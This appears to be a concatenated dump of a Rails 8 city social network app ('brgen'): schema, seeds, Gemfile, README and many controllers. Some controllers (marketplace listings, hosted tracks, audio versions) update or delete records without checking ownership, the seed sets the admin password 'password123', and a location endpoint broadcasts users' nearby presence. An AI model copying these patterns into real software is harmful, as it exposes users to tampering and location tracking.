t.string "user_agent"
t.integer "user_id", null: false
t.index ["user_id"], name: "index_sessions_on_user_id"
end
create_table "users", force: :cascade do |t|
t.datetime "created_at", null: false
t.string "email_address", null: false
t.string "password_digest", null: false
t.datetime "updated_at", null: false
t.index ["email_address"], name: "index_users_on_email_address", unique: true
end
add_foreign_key "active_storage_attachments", "active_storage_blobs", column: "blob_id"
add_foreign_key "active_storage_variant_records", "active_storage_blobs", column: "blob_id"
add_foreign_key "sessions", "users"
end# frozen_string_literal: true
user = User.find_or_create_by!(email_address: "admin@blognet.example") do |u|
u.password = u.password_confirmation = "password123"
end
blog = Blog.find_or_create_by!(slug: "demo-blog") do |b|
b.name = "Demo Blog"
b.description = "A demonstration blog"
b.user = user
b.published = true
end
5.times do |i|
Post.find_or_create_by!(slug: "post-#{i + 1}") do |p|
p.title = "Post #{i + 1}: Getting Started with Rails 8"
p.body = "Rails 8 ships with Solid Cache, Solid Queue, and Solid Cable out of the box. This post covers what changed."
p.blog = blog
p.user = user
p.published = true
end
end
puts "Seeded #{Post.count} posts"source "https://rubygems.org"
ruby "~> 3.4"
gem "rails", "~> 8.1"
gem "sqlite3", "~> 2.1"
gem "falcon"
gem "async"
gem "async-http"
# Real-time
gem "turbo-rails"
gem "stimulus-rails"
gem "importmap-rails"
# Solid Stack (Rails 8)
gem "solid_queue"
gem "solid_cache"
gem "solid_cable"
# Authentication
gem "bcrypt", "~> 3.1"
# Social
gem "acts_as_tenant"
# Features
gem "pagy"
gem "image_processing"
gem "geocoder"
gem "webpush"
gem "ruby-vips"
# Real-time + LLM + structured data (per ruby_style.yml stimulus_reflex_stack + SEO requirements)
gem "futurism"
gem "ruby_llm"
# Discovery — vision-LLM scrapers (lib/tasks/{reddit,amazon}.rake)
gem "ferrum"
group :development, :test do
gem "brakeman"
gem "rubocop-rails-omakase"
gem "faker"
end
# brgen — hyperlocal city network
brgen is the aggregate Rails app for city-scoped social publishing, marketplace, dating, playlist, TV, takeaway, maps, notifications, and local identity.
It keeps the `railsy` product intent, but follows the current pub4 production contract: Rails 8, SQLite, Solid Queue, Solid Cache, Solid Cable, built-in authentication, Falcon, importmap, Hotwire, and OpenBSD rc.d services. The old generator-era assumptions around Devise, Redis, and mandatory PostgreSQL are lineage, not the active deployment shape.
## Surfaces
- Main social network: communities, posts, comments, votes, reactions, follows, messaging, notifications, moderation reports.
- Marketplace: listings, categories, stores, deals, favorites, saved searches, and listing orders.
- Dating: profiles, likes, dislikes, matches, and city-local discovery.
- Playlist: playlists, sets, tracks, listens, audio versions, collaboration, likes, and timestamped comments.
- TV: channels, videos, live streams, stream chats, subscriptions, comments, notes, and view events.
- Takeaway: restaurants, menus, orders, favorite restaurants, delivery drivers.
- Locality: cities, neighborhoods, places, nearby alerts, geolocation, and push subscriptions.
- Trust: external identities, assurance checks, reputation scores, trust signals, account merges.
## Domains
Primary domain: `brgen.no`.
City/domain aliases and subdomains route through OpenBSD `relayd`; app behavior is selected by host and subdomain context inside Rails.
Subdomain apps:
- `tv`
- `dating`
- `playlist`
- `takeaway`
- `marketplace`, plus localized marketplace aliases
## Deploy
```zsh
doas zsh DEPLOY/rails/brgen/brgen.shThe deploy script must copy the tracked app tree, run Bundler, migrate, seed when present, update rc.d, register relayd, restart the service, and verify /up.
- Marketplace buyer-seller chat should reuse conversations instead of creating a parallel message system.
- Playlist sets need routed views for index, show, new, and edit.
- TV and takeaway operational dashboards need explicit views for driver updates, stream chats, and moderation queues.
- Dating needs event integration and premium visibility controls.
- City routing needs a visible locality switcher and domain-to-city audit task.
## `rails/brgen/STIMULUS_ROLLOUT.md`
```markdown
# Brgen Stimulus / Rails 8 rollout
Brgen already has social core models and Hotwire refreshes marked done in `apps.yml`. Use the shared baseline to port the missing social/product interactions without adding dashboards.
## Core social
1. Notification component for likes, replies, follows, mentions, direct messages.
2. Clipboard for post/community/share links.
3. Reveal for post details, moderation reasons, raw permalink metadata.
4. Dropdown for feed sort: hot, fresh, top, local.
5. Auto Submit + Content Loader for live feed/search filters.
6. Timeago on posts, comments, notifications, messages.
7. Confirmation for moderation actions.
## Subapps
### tv
- Lightbox/Dialog for videos.
- Content Loader for episode/video lists.
- Notification for live broadcast start.
- Timeago for publish/scheduled timestamps.
### dating
- Hotkey/swipe actions for like/dislike.
- Dialog for profile detail.
- Lightbox for profile photos.
- Notification for match.
- Turbo Streams for match-to-message handoff.
### marketplace
- Lightbox + Sortable for product photos.
- Dropdown + Auto Submit for category/price/geo filters.
- Notification for saved search match.
- Confirmation for sold/delete actions.
### playlist
- Sortable for tracks.
- Sound for preview.
- Clipboard for playlist share.
- Notification for track added.
### takeaway
- Dialog for item customization.
- Notification for basket/order state.
- Reveal for allergens.
- Turbo Streams for order status.
## Rails 8 work
- Solid Queue: media variants, search indexing, notifications.
- Solid Cable: direct messages, reactions, order/live status.
- Solid Cache: feeds, community cards, search result fragments.
- SQLite FTS5: posts, communities, marketplace, takeaway, tv, playlist.
- Signed IDs: moderation links, listing edit links, order tracking links.
## Acceptance
- Search has empty/loading/no-results/error states.
- Feed and subapps remain usable without JavaScript.
- Notifications are progressive enhancement over server-rendered lists.
- Moderation actions require confirmation and authorization.
# frozen_string_literal: true
module ApplicationCable
class Channel < ActionCable::Channel::Base
end
end# frozen_string_literal: true
module ApplicationCable
class Connection < ActionCable::Connection::Base
identified_by :current_user
def connect
set_current_user || reject_unauthorized_connection
end
private
def set_current_user
if session = Session.find_by(id: cookies.signed[:session_id])
self.current_user = session.user
end
end
end
end# frozen_string_literal: true
class ActivityEventsController < ApplicationController
allow_unauthenticated_access only: :index
def index
@events = ActivityEvent.visible.recent.limit(100)
@events = @events.where(source_vertical: params[:vertical]) if params[:vertical].present?
@events = @events.where(locality: params[:locality]) if params[:locality].present?
end
end# frozen_string_literal: true
class ApplicationController < ActionController::Base
include Authentication
include Pagy::Method
before_action :set_domain_context
# Only allow modern browsers supporting webp images, web push, badges, import maps, CSS nesting, and CSS :has.
allow_browser versions: :modern
# Changes to the importmap will invalidate the etag for HTML responses
stale_when_importmap_changes
private
def set_domain_context
result = Brgen::DomainRegistry.resolve(request.host)
Current.city = result.entry.city
Current.country = result.entry.country
Current.currency = result.entry.currency
Current.domain = result.entry.domain
Current.locale = result.entry.locale
Current.subapp = result.subapp
I18n.locale = result.entry.locale
rescue Brgen::DomainRegistry::UnknownHost, Brgen::DomainRegistry::UnknownSubdomain
render plain: "Unknown host", status: :not_found
end
end# frozen_string_literal: true
class CommentsController < ApplicationController
before_action :require_real_user, only: [:destroy, :generate_summary]
before_action :set_commentable
def create
@comment = @commentable.comments.build(comment_params)
@comment.user = Current.user
@comment.parent_id = params[:parent_id] if params[:parent_id]
if @comment.save
respond_to do |format|
format.turbo_stream
format.html { redirect_back fallback_location: root_path }
end
else
respond_to do |format|
format.turbo_stream { render turbo_stream: turbo_stream.replace("comment_form", partial: "comments/form", locals: { comment: @comment, commentable: @commentable }) }
format.html { redirect_back fallback_location: root_path, alert: @comment.errors.full_messages.to_sentence }
end
end
end
def destroy
@comment = Comment.find(params[:id])
@comment.destroy if @comment.user == Current.user
respond_to do |format|
format.turbo_stream { render turbo_stream: turbo_stream.remove(dom_id(@comment)) }
format.html { redirect_back fallback_location: root_path }
end
end
def generate_summary
@comment = Comment.find(params[:id])
return unless @comment.long_thread?
ThreadSummarizer.call(@comment)
respond_to do |format|
format.turbo_stream { render turbo_stream: turbo_stream.replace(dom_id(@comment), partial: "comments/comment", locals: { comment: @comment }) }
format.html { redirect_back fallback_location: root_path }
end
end
private
def set_commentable
if params[:post_id]
@commentable = Post.find(params[:post_id])
elsif params[:comment_id]
@commentable = Comment.find(params[:comment_id])
end
end
def comment_params
params.require(:comment).permit(:content)
end
end# frozen_string_literal: true
class CommunitiesController < ApplicationController
before_action :require_real_user, only: [:new, :create]
before_action :set_community, only: [:show]
def index
@communities = Community.popular.includes(:user)
end
def show
@posts = @community.posts.hot.includes(:user, :votes)
end
def new
@community = Community.new
end
def create
@community = Community.new(community_params)
@community.user = Current.user
if @community.save
redirect_to @community, notice: "Community created."
else
render :new, status: :unprocessable_entity
end
end
private
def set_community = @community = Community.find(params[:id])
def community_params = params.require(:community).permit(:name, :description)
end# frozen_string_literal: true
module Authentication
extend ActiveSupport::Concern
included do
before_action :resume_session
helper_method :authenticated?, :current_user, :guest?
end
class_methods do
def allow_unauthenticated_access(**options)
skip_before_action :resume_session, **options
end
end
private
def authenticated?
Current.user.present? && !Current.user.guest?
end
def guest?
Current.user.present? && Current.user.guest?
end
def current_user
Current.user
end
def resume_session
Current.session = find_session_by_cookie
Current.user = Current.session&.user || find_or_create_guest_user
end
def start_new_session_for(user)
previous_guest_id = session[:guest_user_id]
reset_session
session[:previous_guest_user_id] = previous_guest_id if previous_guest_id
Current.session = user.sessions.create!(
user_agent: request.user_agent,
ip_address: request.remote_ip
)
Current.user = user
cookies.signed.permanent[:session_id] = Current.session.id
end
def terminate_session
Current.session&.destroy
cookies.delete(:session_id)
reset_session
Current.session = nil
Current.user = find_or_create_guest_user
end
def after_authentication_url
root_path
end
def require_real_user
return if authenticated?
redirect_to new_session_path, alert: "Sign in to continue"
end
def require_user_session
return if Current.user.present?
redirect_to new_session_path, alert: "Sign in to continue"
end
alias_method :require_authentication, :resume_session
def find_session_by_cookie
Session.find_by(id: cookies.signed[:session_id])
end
def find_or_create_guest_user
guest_id = session[:guest_user_id]
return create_guest_user unless guest_id
User.find_by(id: guest_id, guest: true) || create_guest_user
end
def create_guest_user
guest = User.create!(
email_address: "guest_#{SecureRandom.hex(8)}@guest.local",
password: SecureRandom.hex(16),
guest: true
)
session[:guest_user_id] = guest.id
guest
end
end# frozen_string_literal: true
class ConversationsController < ApplicationController
before_action :require_user_session
def index
@conversations = Conversation.for_user(Current.user)
.includes(:participants, :messages)
.order("messages.created_at DESC")
end
def show
@conversation = Conversation.for_user(Current.user).find(params[:id])
@conversation.mark_read_for!(Current.user)
@messages = @conversation.messages.recent.limit(50).reverse
@message = Message.new
end
def create
other = User.find(params[:user_id])
@conversation = Conversation.find_or_create_direct(Current.user, other)
redirect_to @conversation
end
end# frozen_string_literal: true
class Dating::BaseController < ApplicationController
end# frozen_string_literal: true
class Dating::DislikesController < Dating::BaseController
def create
user = User.find(params[:user_id])
Dating::Dislike.find_or_create_by!(disliker: Current.user, dislikee: user)
redirect_to dating_root_path
end
end# frozen_string_literal: true
class Dating::HomeController < Dating::BaseController
def index
profile = Current.user.dating_profile
unless profile&.visible?
redirect_to edit_dating_profile_path
return
end
liked_ids = Dating::Like.where(liker: Current.user).pluck(:likee_id)
disliked_ids = Dating::Dislike.where(disliker: Current.user).pluck(:dislikee_id)
excluded = (liked_ids + disliked_ids + [Current.user.id]).uniq
scope = Dating::Profile.visible.where.not(user_id: excluded).includes(:user)
if (neigh = profile&.neighborhood)
scope = scope.in_neighborhood(neigh)
end
if profile&.latitude && profile&.longitude
scope = scope.nearby(profile.latitude, profile.longitude, 20)
end
@pagy, @profiles = pagy(scope.order(Arel.sql("RANDOM()")))
end
end# frozen_string_literal: true
class Dating::LikesController < Dating::BaseController
def create
user = User.find(params[:user_id])
Dating::Like.find_or_create_by!(liker: Current.user, likee: user)
redirect_to dating_root_path
end
end# frozen_string_literal: true
class Dating::MatchesController < Dating::BaseController
def index
@pagy, @matches = pagy(
Dating::Match.active
.where("initiator_id = ? OR receiver_id = ?", Current.user.id, Current.user.id)
.includes(:initiator, :receiver)
)
end
end# frozen_string_literal: true
class Dating::ProfilesController < Dating::BaseController
before_action :set_profile, only: %i[show edit update]
def show; end
def edit
@neighborhoods = available_neighborhoods
end
def new
@profile = Current.user.build_dating_profile
@neighborhoods = available_neighborhoods
end
def create
@profile = Current.user.build_dating_profile(profile_params)
if @profile.save
redirect_to(dating_root_path, notice: "Profile created")
else
@neighborhoods = available_neighborhoods
render(:new, status: :unprocessable_entity)
end
end
def update
if @profile.update(profile_params)
redirect_to(dating_root_path, notice: "Profile updated")
else
@neighborhoods = available_neighborhoods
render(:edit, status: :unprocessable_entity)
end
end
private
def set_profile
@profile = Current.user.dating_profile || redirect_to(new_dating_profile_path)
end
def profile_params
params.require(:dating_profile).permit(:bio, :gender, :looking_for, :age, :location, :latitude, :longitude, :neighborhood_id, :bydel, :visible, photos: [])
end
def available_neighborhoods
city = Current.city || City.find_by(slug: "bergen") || City.first
city ? city.neighborhoods.order(:name) : Neighborhood.none
end
end# frozen_string_literal: true
class EmailSubscriptionsController < ApplicationController
skip_before_action :require_real_user, raise: false
def create
sub = EmailSubscription.find_or_initialize_by(email: params[:email_subscription][:email])
if sub.new_record?
sub.city = params[:email_subscription][:city].presence
sub.locale = I18n.locale.to_s
sub.agreed_to_marketing = params[:email_subscription][:agreed_to_marketing] == "1"
sub.interests = params[:email_subscription][:interests].presence
if sub.save
EmailSubscriptionMailer.confirm(sub).deliver_later
redirect_back fallback_location: root_path, notice: "Check your inbox to confirm."
else
redirect_back fallback_location: root_path, alert: sub.errors.full_messages.first
end
else
redirect_back fallback_location: root_path, notice: "Already subscribed."
end
end
def confirm
sub = EmailSubscription.find_by!(token: params[:token])
if sub.confirmed?
redirect_to root_path, notice: "Already confirmed."
else
sub.confirm!
redirect_to root_path, notice: "Subscribed! You'll receive city updates."
end
end
def destroy
sub = EmailSubscription.find_by!(token: params[:token])
sub.destroy!
redirect_to root_path, notice: "Unsubscribed."
end
end# frozen_string_literal: true
class FollowsController < ApplicationController
before_action :require_real_user
before_action :set_user
def create
@follow = Follow.find_or_initialize_by(follower: Current.user, followed: @user)
if @follow.new_record?
@follow.save!
@active = true
else
@follow.destroy!
@active = false
end
respond_to do |f|
f.html { redirect_back fallback_location: root_path }
f.turbo_stream
end
end
def destroy
Follow.find_by(follower: Current.user, followed: @user)&.destroy!
@active = false
respond_to do |f|
f.html { redirect_back fallback_location: root_path }
f.turbo_stream { render "follows/create" }
end
end
private
def set_user
@user = User.find(params[:user_id])
end
end# frozen_string_literal: true
class HomeController < ApplicationController
def index
@posts = if authenticated?
Current.user.timeline_posts.hot.includes(:user, :community, :votes).limit(50)
else
Post.hot.includes(:user, :community, :votes).limit(50)
end
@communities = Community.popular.limit(10)
end
end# frozen_string_literal: true
class LocationsController < ApplicationController
def update
lat = params[:latitude].to_f
lng = params[:longitude].to_f
return head :bad_request unless lat.between?(-90, 90) && lng.between?(-180, 180)
me = Current.user
me.update_columns(latitude: lat, longitude: lng, location_updated_at: Time.current)
# Broadcast to each nearby user that I just arrived/am still near.
User.nearby(lat, lng).each do |other|
next if other == me
Turbo::StreamsChannel.broadcast_append_to(
"nearby_alerts_#{other.id}",
target: "nearby-alerts",
partial: "nearby/alert",
locals: { handle: me.anon_handle, user_id: me.id }
)
Pushable.push_to(other, title: "Someone nearby", body: "#{me.anon_handle} is within 2 km — tap to chat", url: "/nearby")
end
head :ok
end
end# frozen_string_literal: true
module Maps
class BaseController < ApplicationController
allow_unauthenticated_access
end
end# frozen_string_literal: true
module Maps
class HomeController < BaseController
def index
@mapbox_token = ENV.fetch("MAPBOX_API_KEY", "")
@places_json = Place.includes(:city, :neighborhood).limit(500).map do |p|
{ id: p.id, name: p.name, kind: p.kind,
lat: p.latitude, lng: p.longitude,
city: p.city&.name, neighborhood: p.neighborhood&.name }
end.to_json
end
end
end# frozen_string_literal: true
module Maps
class PlacesController < BaseController
def index
scope = Place.includes(:city, :neighborhood)
scope = scope.where("name LIKE ?", "%#{params[:q]}%") if params[:q].present?
scope = scope.where(kind: params[:kind]) if params[:kind].present?
render json: scope.limit(200).map { |p|
{ id: p.id, name: p.name, kind: p.kind,
lat: p.latitude, lng: p.longitude,
city: p.city&.name, neighborhood: p.neighborhood&.name }
}
end
def show
@place = Place.includes(:city, :neighborhood).find(params[:id])
end
end
end# frozen_string_literal: true
class Marketplace::BaseController < ApplicationController
end# frozen_string_literal: true
class Marketplace::CartsController < Marketplace::BaseController
before_action :authenticate_user!
def show
@cart_items = Current.user.marketplace_orders
.where(status: "pending")
.includes(:listing)
.order(created_at: :desc)
@cart_total = @cart_items.sum(&:total_cents)
end
end# frozen_string_literal: true
class Marketplace::CategoriesController < Marketplace::BaseController
allow_unauthenticated_access only: %i[show]
def show
@category = Marketplace::Category.find_by!(slug: params[:id])
@pagy, @listings = pagy(@category.listings.active.recent)
end
end# frozen_string_literal: true
module Marketplace
class DealsController < Marketplace::BaseController
allow_unauthenticated_access only: %i[index show]
def index
@deals = Marketplace::Deal.active.includes(:listing).limit(100)
@featured_deals = @deals.select(&:featured?).first(12)
end
def show
@deal = Marketplace::Deal.find(params[:id])
@listing = @deal.listing
end
end
end# frozen_string_literal: true
class Marketplace::FavoritesController < Marketplace::BaseController
before_action :set_listing
def create
@listing.favorites.find_or_create_by!(user: Current.user)
redirect_back fallback_location: marketplace_listing_path(@listing), notice: "Saved listing"
end
def destroy
@listing.favorites.find_by(user: Current.user)&.destroy
redirect_back fallback_location: marketplace_listing_path(@listing), notice: "Removed saved listing"
end
private
def set_listing = (@listing = Marketplace::Listing.find(params[:listing_id]))
end# frozen_string_literal: true
class Marketplace::ListingsController < Marketplace::BaseController
allow_unauthenticated_access only: %i[index show]
before_action :set_listing, only: %i[show edit update destroy]
def index
scope = Marketplace::Listing.active.includes(:user, :category)
scope = scope.where("title LIKE ?", "%#{params[:q]}%") if params[:q].present?
scope = scope.where(category_id: params[:category_id]) if params[:category_id].present?
@pagy, @listings = pagy(scope.recent)
@categories = Marketplace::Category.roots.includes(:children)
# Schema.org ItemList for the marketplace listings page
if @listings.any?
content_for :json_ld, item_list_schema(@listings, title: "Markedsplass")
end
end
def show
@listing.increment!(:views_count)
@order = Marketplace::Order.new if authenticated?
# Schema.org Product markup for SEO (uses shared SchemaHelper)
content_for :json_ld, json_ld_for(@listing, type: :product)
end
def new
@listing = Marketplace::Listing.new
@categories = Marketplace::Category.all
end
def create
@listing = Current.user.marketplace_listings.build(listing_params)
if @listing.save
preset = params[:marketplace_listing][:preset].presence
PostproJob.perform_later(@listing.to_gid.to_s, preset, "photos") if preset && @listing.photos.attached?
record_listing_activity!
redirect_to marketplace_listing_path(@listing), notice: "Listed"
else
render :new, status: :unprocessable_entity
end
end
def edit
@categories = Marketplace::Category.all
end
def update
@listing.update(listing_params) ?
redirect_to(marketplace_listing_path(@listing)) :
render(:edit, status: :unprocessable_entity)
end
def destroy
@listing.update!(status: "removed")
redirect_to marketplace_listings_path
end
private
def set_listing = (@listing = Marketplace::Listing.find(params[:id]))
def listing_params
params.require(:marketplace_listing).permit(
:title, :description, :price_cents, :condition, :status, :location,
:category_id, :preset, photos: []
)
end
def record_listing_activity!
return unless defined?(ActivityEventRecorder)
ActivityEventRecorder.call(
actor: Current.user,
event_name: "ListingCreated",
object: @listing,
source_vertical: "marketplace",
locality: @listing.location
)
end
end# frozen_string_literal: true
class Marketplace::OrdersController < Marketplace::BaseController
before_action :set_listing
def create
quantity = params[:quantity].to_i.positive? ? params[:quantity].to_i : 1
@order = @listing.orders.build(
buyer: Current.user,
message: params.dig(:marketplace_order, :message),
price_cents: @listing.price_cents,
quantity: quantity
)
if @order.save
notify_seller!
record_offer_activity!
redirect_to marketplace_listing_path(@listing), notice: "Offer sent"
else
redirect_to marketplace_listing_path(@listing), alert: "Could not send offer"
end
end
def update
@order = Marketplace::Order.find(params[:id])
if @order.seller == Current.user
@order.accept! if params[:accept]
@order.decline! if params[:decline]
end
redirect_to marketplace_listing_path(@listing)
end
private
def set_listing = (@listing = Marketplace::Listing.find(params[:listing_id]))
def notify_seller!
return unless defined?(Notification)
@listing.user.notifications.create!(
title: "New marketplace offer",
body: "#{Current.user.display_name} sent an offer for #{@listing.title}.",
source_type: @order.class.name,
source_id: @order.id
)
end
def record_offer_activity!
return unless defined?(ActivityEventRecorder)
ActivityEventRecorder.call(
actor: Current.user,
event_name: "MarketplaceOfferSent",
object: @order,
source_vertical: "marketplace",
locality: @listing.location
)
end
end# frozen_string_literal: true
class Marketplace::SavedSearchesController < Marketplace::BaseController
def index
@saved_searches = Current.user.marketplace_saved_searches.order(created_at: :desc)
end
def create
saved_search = Current.user.marketplace_saved_searches.create!(saved_search_params)
record_activity!(saved_search)
redirect_back fallback_location: marketplace_listings_path, notice: "Saved search"
end
def destroy
Current.user.marketplace_saved_searches.find(params[:id]).destroy
redirect_to marketplace_saved_searches_path, notice: "Deleted saved search"
end
private
def saved_search_params
params.require(:marketplace_saved_search).permit(:name, :query, :category_id, :location, :notify)
end
def record_activity!(saved_search)
return unless defined?(ActivityEventRecorder)
ActivityEventRecorder.call(
actor: Current.user,
event_name: "MarketplaceSearchSaved",
object: saved_search,
source_vertical: "marketplace",
locality: saved_search.location,
visibility: "private"
)
end
end# frozen_string_literal: true
module Marketplace
class StoresController < Marketplace::BaseController
allow_unauthenticated_access only: %i[index show]
def index
@stores = Marketplace::Store.active.by_vertical(params[:vertical]).recent.limit(100)
end
def show
@store = Marketplace::Store.find_by!(slug: params[:id])
@listings = @store.listings.active.recent.limit(100)
end
def new
@store = Marketplace::Store.new
end
def create
@store = Marketplace::Store.new(store_params)
@store.owner = Current.user
if @store.save
redirect_to marketplace_shop_path(@store.slug), notice: t("marketplace.store_created", default: "Store created")
else
render :new, status: :unprocessable_entity
end
end
private
def store_params
params.require(:store).permit(:name, :slug, :description, :vertical)
end
end
end# frozen_string_literal: true
class MessagesController < ApplicationController
before_action :require_user_session
before_action :set_conversation
def create
@message = @conversation.messages.build(message_params)
@message.sender = Current.user
if @message.save
@conversation.participants.excluding(Current.user).each do |recipient|
Pushable.push_to(recipient,
title: Current.user.display_name,
body: @message.content.to_s.truncate(120),
url: conversation_path(@conversation)
)
end
respond_to do |format|
format.turbo_stream
format.html { redirect_to @conversation }
end
else
render :new, status: :unprocessable_entity
end
end
private
def set_conversation
@conversation = Conversation.for_user(Current.user).find(params[:conversation_id])
end
def message_params
params.require(:message).permit(:content, :message_type)
end
end# frozen_string_literal: true
class NearbyController < ApplicationController
def index
lat = Current.user&.latitude
lng = Current.user&.longitude
@located = lat.present?
@nearby = @located ? User.nearby(lat, lng).reject { |u| u == Current.user } : []
end
def create
other = User.find(params[:user_id])
conversation = Conversation.find_or_create_direct(Current.user, other)
redirect_to conversation
end
end# frozen_string_literal: true
class NotificationsController < ApplicationController
before_action :require_real_user
def index
@notifications = Current.user.notifications.recent.limit(100)
@unread_count = Current.user.notifications.unread.count
end
def update
@notification = Current.user.notifications.find(params[:id])
@notification.update!(read_at: Time.current)
respond_to do |f|
f.html { redirect_back fallback_location: notifications_path }
f.turbo_stream
end
end
def read_all
Current.user.notifications.unread.update_all(read_at: Time.current)
respond_to do |f|
f.html { redirect_to notifications_path }
f.turbo_stream
end
end
end# frozen_string_literal: true
class PasswordsController < ApplicationController
allow_unauthenticated_access
before_action :set_user_by_token, only: %i[ edit update ]
rate_limit to: 10, within: 3.minutes, only: :create, with: -> { redirect_to new_password_path, alert: "Try again later." }
def new
end
def create
if user = User.find_by(email_address: params[:email_address])
PasswordsMailer.reset(user).deliver_later
end
redirect_to new_session_path, notice: "Password reset instructions sent (if user with that email address exists)."
end
def edit
end
def update
if @user.update(params.permit(:password, :password_confirmation))
@user.sessions.destroy_all
redirect_to new_session_path, notice: "Password has been reset."
else
redirect_to edit_password_path(params[:token]), alert: "Passwords did not match."
end
end
private
def set_user_by_token
@user = User.find_by_password_reset_token!(params[:token])
rescue ActiveSupport::MessageVerifier::InvalidSignature
redirect_to new_password_path, alert: "Password reset link is invalid or has expired."
end
end# frozen_string_literal: true
module Playlist
class AudioVersionsController < ApplicationController
before_action :set_track
def create
@track.replace_audio!(params.require(:audio_file), actor: current_user_if_available)
redirect_to playlist_track_path(@track), notice: t("playlist.audio_replaced", default: "Audio replaced")
end
private
def set_track
@track = Playlist::Track.find(params[:track_id])
end
def current_user_if_available
current_user if respond_to?(:current_user, true)
end
end
end# frozen_string_literal: true
class Playlist::BaseController < ApplicationController
end# frozen_string_literal: true
class Playlist::CollaborationsController < Playlist::BaseController
before_action :set_target
def create
unless authenticated? && owner_or_editor?
redirect_to(playlist_target_path, alert: "Not allowed") and return
end
username = params[:username].to_s.strip
target_user = User.find_by(username: username)
unless target_user
redirect_to(playlist_target_path, alert: "User not found") and return
end
role = params[:role].presence || "editor"
collab = @target.collaborations.build(user: target_user, role: role)
if collab.save
redirect_to(playlist_target_path, notice: "Collaborator added")
else
redirect_to(playlist_target_path, alert: collab.errors.full_messages.to_sentence)
end
end
def destroy
unless authenticated? && owner_or_editor?
redirect_to(playlist_target_path, alert: "Not allowed") and return
end
collab = @target.collaborations.find(params[:id])
collab.destroy
redirect_to(playlist_target_path, notice: "Collaborator removed")
end
private
def set_target
if params[:set_id]
@set = Playlist::Set.find(params[:set_id])
@target = @set
elsif params[:playlist_id]
@playlist = Playlist::Playlist.find(params[:playlist_id])
@target = @playlist
else
redirect_to(playlist_playlists_path)
end
end
def playlist_target_path
if @set
playlist_set_path(@set)
else
playlist_playlist_path(@playlist)
end
end
def owner_or_editor?
return false unless @target
owner = Current.user == (@target.respond_to?(:user) ? @target.user : nil)
return true if owner
collab = @target.collaborations.find_by(user: Current.user)
collab && %w[owner editor].include?(collab.role)
end
end# frozen_string_literal: true
class Playlist::DillaSketchesController < Playlist::BaseController
before_action :set_parent
before_action :authorize_editor, only: %i[create update destroy]
def create
sketch = @parent.dilla_sketches.build(dilla_sketch_params.merge(user: Current.user))
if sketch.save
redirect_to(parent_path, notice: t("dilla.sketch_saved", default: "Dilla sketch saved to collab"))
else
redirect_to(parent_path, alert: sketch.errors.full_messages.to_sentence)
end
end
def update
sketch = @parent.dilla_sketches.find(params[:id])
if sketch.update(dilla_sketch_params)
redirect_to(parent_path, notice: t("dilla.sketch_updated", default: "Sketch updated"))
else
redirect_to(parent_path, alert: sketch.errors.full_messages.to_sentence)
end
end
def destroy
sketch = @parent.dilla_sketches.find(params[:id])
sketch.destroy
redirect_to(parent_path, notice: t("dilla.sketch_removed", default: "Sketch removed"))
end
private
def set_parent
if params[:playlist_id]
@parent = Playlist::Playlist.find(params[:playlist_id])
@playlist = @parent
return
end
if params[:set_id]
@parent = Playlist::Set.find(params[:set_id])
@set = @parent
return
end
redirect_to(playlist_playlists_path)
end
def parent_path
if @playlist
playlist_playlist_path(@playlist)
else
playlist_set_path(@set)
end
end
def dilla_sketch_params
params.require(:playlist_dilla_sketch).permit(:name, :state, :notes).tap do |p|
# state can come as JSON string from form or already hash
if p[:state].is_a?(String) && p[:state].present?
begin
p[:state] = JSON.parse(p[:state])
rescue JSON::ParserError
p[:state] = {}
end
end
end
end
def authorize_editor
u = Current.user
owner = (u == @parent.user)
editor = false
if (collab = @parent.collaborations.find_by(user: u))
editor = %w[owner editor].include?(collab.role)
end
unless owner || editor
redirect_to(parent_path, alert: t("dilla.not_allowed", default: "Not allowed to edit dilla sketches in this collab"))
end
end
end# frozen_string_literal: true
module Playlist
class HostedTracksController < Playlist::BaseController
allow_unauthenticated_access only: %i[index show]
before_action :set_track, only: %i[show edit update destroy]
def index
@tracks = Playlist::Track.publicly_visible.unexpired.recent.limit(100)
end
def show
@comments = @track.timestamped_comments.chronological.limit(200)
end
def new
@track = Playlist::Track.new
end
def create
@track = Playlist::Track.new(track_params)
@track.audio_file.attach(params[:track][:audio_file]) if params.dig(:track, :audio_file).present?
@track.artwork.attach(params[:track][:artwork]) if params.dig(:track, :artwork).present?
if @track.save
redirect_to playlist_hosted_track_path(@track), notice: t("playlist.track_created", default: "Track uploaded")
else
render :new, status: :unprocessable_entity
end
end
def edit
end
def update
if @track.update(track_params)
redirect_to playlist_hosted_track_path(@track), notice: t("playlist.track_updated", default: "Track updated")
else
render :edit, status: :unprocessable_entity
end
end
def destroy
@track.destroy
redirect_to playlist_hosted_tracks_path, notice: t("playlist.track_deleted", default: "Track removed")
end
private
def set_track
@track = Playlist::Track.find(params[:id])
end
def track_params
params.require(:track).permit(:title, :artist, :album, :duration_seconds, :source_type, :source_url, :genre, :privacy, :expires_at)
end
end
end# frozen_string_literal: true
class Playlist::ListensController < Playlist::BaseController
def create
track = Playlist::Track.find(params[:track_id])
Playlist::Listen.create!(user: Current.user, track: track)
render json: { ok: true }
end
end# frozen_string_literal: true
class Playlist::PlaylistsController < Playlist::BaseController
allow_unauthenticated_access only: %i[index show]
before_action :set_playlist, only: %i[show edit update destroy]
before_action :authorize_owner_or_editor, only: %i[edit update destroy]
def index
@pagy, @playlists = pagy(Playlist::Playlist.public_playlists.popular.includes(:user))
end
def show
@tracks = @playlist.playlist_tracks.includes(:track)
@dilla_sketches = @playlist.dilla_sketches.recent.includes(:user)
end
def new
@playlist = Playlist::Playlist.new
end
def create
@playlist = Current.user.playlist_playlists.build(playlist_params)
@playlist.save ?
redirect_to(playlist_playlist_path(@playlist), notice: "Playlist created") :
render(:new, status: :unprocessable_entity)
end
def edit; end
def update
@playlist.update(playlist_params) ?
redirect_to(playlist_playlist_path(@playlist)) :
render(:edit, status: :unprocessable_entity)
end
def destroy
@playlist.destroy
redirect_to playlist_playlists_path
end
private
def set_playlist
@playlist = Playlist::Playlist.find(params[:id])
end
def playlist_params
params.require(:playlist_playlist).permit(:name, :description, :public_access, :collaborative)
end
def authorize_owner_or_editor
return if Current.user == @playlist.user
collab = @playlist.collaborations.find_by(user: Current.user)
return if collab && %w[owner editor].include?(collab.role)
redirect_to(playlist_playlist_path(@playlist), alert: "Not allowed")
end
end# frozen_string_literal: true
module Playlist
class SetsController < ApplicationController
before_action :set_set, only: %i[show edit update destroy]
before_action :authorize_owner_or_editor, only: %i[edit update destroy]
def index
@sets = Playlist::Set.publicly_listed.limit(100)
end
def show
@tracks = @set.tracks
@dilla_sketches = @set.dilla_sketches.recent.includes(:user)
end
def new
